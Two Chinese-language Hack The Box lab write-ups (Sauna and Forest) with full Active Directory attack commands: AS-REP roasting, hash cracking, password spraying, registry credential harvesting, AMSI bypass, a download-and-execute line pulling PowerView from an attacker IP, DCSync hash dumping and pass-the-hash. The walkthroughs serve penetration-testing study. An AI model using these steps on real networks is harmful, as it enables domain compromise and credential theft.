hackthebox-sauna-229

hackthebox sauna

sauna

port scan

使用rustscan做端口扫描,发现开放了80,139,445,369等端口;

services

使用gobuster对80http服务进行路径爆破。 发现存在以下路径:

http://10.10.10.175/Contact.html (Status: 200) [Size: 15634]

http://10.10.10.175/Blog.html (Status: 200) [Size: 24695]

http://10.10.10.175/Index.html (Status: 200) [Size: 32797]

http://10.10.10.175/Images (Status: 403) [Size: 1233]

http://10.10.10.175/About.html (Status: 200) [Size: 30954]

http://10.10.10.175/about.html (Status: 200) [Size: 30954]

http://10.10.10.175/blog.html (Status: 200) [Size: 24695]

http://10.10.10.175/contact.html (Status: 200) [Size: 15634]

http://10.10.10.175/css (Status: 403) [Size: 1233]

http://10.10.10.175/fonts (Status: 403) [Size: 1233]

http://10.10.10.175/index.html (Status: 200) [Size: 32797]

http://10.10.10.175/index.html (Status: 200) [Size: 32797]

http://10.10.10.175/images (Status: 403) [Size: 1233]

http://10.10.10.175/single.html (Status: 200) [Size: 38059]

在about页面收集员工姓名列表,如下:

Fergus Smith

Shaun Coins

Sophie Driver

Bowie Taylor

Hugo Bear

Steven Kerb

使用username-anarchy对已知姓名进行用户名列表输出。

1
./username-anarchy -i /root/labs/01-htb/010-active-directory/sauna/dump/username.http.lst | tee /root/labs/01-htb/010-active-directory/sauna/dump/username-anarchy.lst

username-anarchy create username list

使用impacket-GetNPUsers尝试获取指定用户名的AS-REP

1
impacket-GetNPUsers -request -outputfile './0818-egotistical-bank.local.txt' -format john -usersfile './username-anarchy.lst' -no-pass -dc-ip '10.10.10.175' 'egotistical-bank.local/'

impacket-GetNPUsers get AS-REP

使用john对获得的hash进行爆破.

1
john-Rockyou ./0818-egotistical-bank.local.txt

爆破得到凭据fsmith / Thestrokes23

john crack AS-REP hash

使用cmefsmith / Thestrokes23凭据获得用户密码策略,查看能否尝试密码喷洒,而不会锁定账号。

1
cme smb '10.10.10.175' -u 'fsmith' -p 'Thestrokes23' --pass-pol

Account Lockout Threshold: None:账户锁定前可尝试次数,未定义即为:不会锁定账户;可放心喷洒。 cme get -pass-pol

使用cme将已知密码和用户列表进行喷洒。

1
cme smb '10.10.10.175' -u './egotistical-bank.local.username.lst' -p 'Thestrokes23' --continue-on-success

可得到hsmith / Thestrokes23 (常规动作,仅做记录)

cme password spray

可尝试根据Thestrokes23后两位数字规则,使用john生成对应规则密码字典。

/etc/john/john.conf[List.Rules:All]配置段落后添加自定义规则。 再使用john以新规则生成字典。

1
john --wordlist=./pass.org --rule=append2nu --stdout | tee thestrokes.pass.lst

在john配置文件中添加自定义规则

john create pass dict with rule

再使用hydra,cme等工具进行密码爆破。未发现成功结果。

foothold

使用evil-winrmfsmith / Thestrokes23凭据尝试登录winrm.

1
evil-winrm -i '10.10.10.175' -u 'fsmith' -p 'Thestrokes23'

evil-winrm login fsmith winrm

priv esca

以fsmith用户枚举信息。 查询注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,以确定保存的自动登录用户凭据。

1
reg.exe query 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'

查询到svc_loanmanager / Moneymakestheworldgoround!,根据额外枚举到的用户信息,用户名应该是svc_loanmgr

reg query autologon credentials

svc_loanmgr用户属于Remote Management User用户组,使用 svc_loanmgr / Moneymakestheworldgoround! 凭据尝试登录wirm.

使用bloodhound工具以svc_loanmgr用户身份,导出域内关系图,发现svc_loanmgr具有DCSync攻击路径。

1
bloodhound-python -c 'all' -d 'egotistical-bank.local' -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' -ns '10.10.10.175' -dc 'sauna.egotistical-bank.local' -gc 'sauna.egotistical-bank.local' --zip

bloodhound collection domain information

使用Find Principals with DCSync Rights查询语句查询所有具有DCSync权限的用户. bloodhound find DCSync attack vector

使用impacket-secretsdumpsvc_loanmgr凭据dump整个域内用户的hash.

1
impacket-secretsdump  -dc-ip '10.10.10.175' -target-ip '10.10.10.175' 'egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'

impacket-secretsdump

得到administrator的hash后,可以使用evil-winrmpass-the-hash进行登录。

evil-winrm pass the hash

post

域内用户hash已经dump,可以尝试添加后门域管用户。

other func

提权做信息收集时,可以使用peass进行自动收集,同样可以收集到autologon credentials


hackthebox-forest-202

hackthebox forest

forest

port scan

使用rustscan扫描后,开放端口有389,139,445等。

services

使用windapsearch对ldap服务进行枚举

1
2
3
4
5
6
7
8
9
10
11
# 检索所有信息
windapsearch --dc '10.10.10.161' -u '' -p '' --full -m custom --filter "(&(objectclass=*))" | tee custom.allobj.txt

# 检索用户信息
mod="users"; windapsearch --dc '10.10.10.161' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

# 检索组信息
mod="groups";windapsearch --dc '10.10.10.161' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

# 检索电脑信息
mod="computers";windapsearch --dc '10.10.10.161' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

windapsearch custom filter windapsearch users windapsearch groups windapsearch computers

过滤检索信息输出中的用户名

1
cat users.txt | rg -iaoP "(?<=samaccountname:\s).+$" | sort | uniq | sort | rg -ivP "((healthmailbox)|(defaultaccount)|(331000)|(sm_.+))" | tee ../0817-forest.htb.local.users.txt

rg grep windapsearch username result

使用impacket-GetADUsers脚本进行ldap检索

1
impacket-GetADUsers -all -no-pass -dc-ip '10.10.10.161' 'htb.local/' | tee ../0817-getADUsers.impacket.txt

过滤检索出的ADUsers结果

1
cat ../0817-getADUsers.impacket.txt | tail -n+6 | awk '{print $1}' | rg -ivP "((guest)|(331000)|(krbtgt)|(sm_.+$)|(healthmailbox)|(defaultaccount))" | tee ../0817-getADUsers.impacket.username.txt

impacket-GetADUsers rg filter GetADUsers result

使用impacket-GetNPUsers尝试根据用户名,获取用户AS-REP hash

1
2
3
cat 0817-getADUsers.impacket.username.txt 0817-forest.htb.local.users.txt | sort | uniq | sort | tee 0817.forest.htb.username.ls

impacket-GetNPUsers -dc-ip '10.10.10.161' -no-pass -usersfile './0817.forest.htb.username.lst' -outputfile '0817-htb.local.GetNpUsers.txt' 'htb.local/'

impacket-GetNPUsers

使用john爆破svc-alfresco用户的AS-REP

1
john-Rockyou ./0817-htb.local.GetNpUsers.txt

john crack AS-REP

获得用户登录凭据svc-alfresco / s3rvice

foothold

使用evil-winrm工具,凭借已知svc-alfresco / s3rvice凭据尝试登录,登录成功。

1
2
3
evil-winrm -i '10.10.10.161' -u 'svc-alfresco' -p 's3rvice'

*Evil-WinRM* PS> whoami ; hostname ; type user.txt ; ipconfig /all

evil-winrm

get user flag

priv esca

svc-alfresco用户交互shell中,进行信息枚举,发现svc-alfresco用户在Account Operators用户组中。此用户组存在DCSync攻击可能。

1
2
3
4
5
# 将evil-winrm bypass
Bypass-4MSI

# 导入PowerView模块
iex(New-Object Net.WebClient).downloadString('http://10.10.14.22/0-bin/PowerView.ps1')

import PowerView

Account Operators Exchange DCSync攻击步骤

1
2
3
4
# 添加一个domain用户 gvest
net user gvest p@ssw3rd135246 /add /domain
net group "Exchange Windows Permissions" gvest /add
net localgroup "Remote Management Users" gvest /add

create a domain user

1
2
3
4
# 给添加的gvest添加DCSync权限
$pass = ConvertTo-SecureString 'p@ssw3rd135246' -AsPlain -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\gvest', $pass)
Add-ObjectACL -PrincipalIdentity gvest -Credential $cred -Rights DCSync

add domain user DCSync priv

使用impacket-secretdump以添加的gvest用户dump hash值

1
impacket-secretsdump -outputfile '0817-forest.htb.local' -dc-ip '10.10.10.161' -target-ip '10.10.10.161' 'htb.local/gvest:p@ssw3rd135246@10.10.10.161'

impacket-secretsdump

使用Administrator的hash尝试登录evil-winrm

1
evil-winrm -i '10.10.10.161' -u 'administrator' -H '32693XXXXXXXXeea6'

evil-winrm administrator pass the hash

post

已经使用impacket-secretsdump dump了所有hash, 可以尝试添加后门域管用户。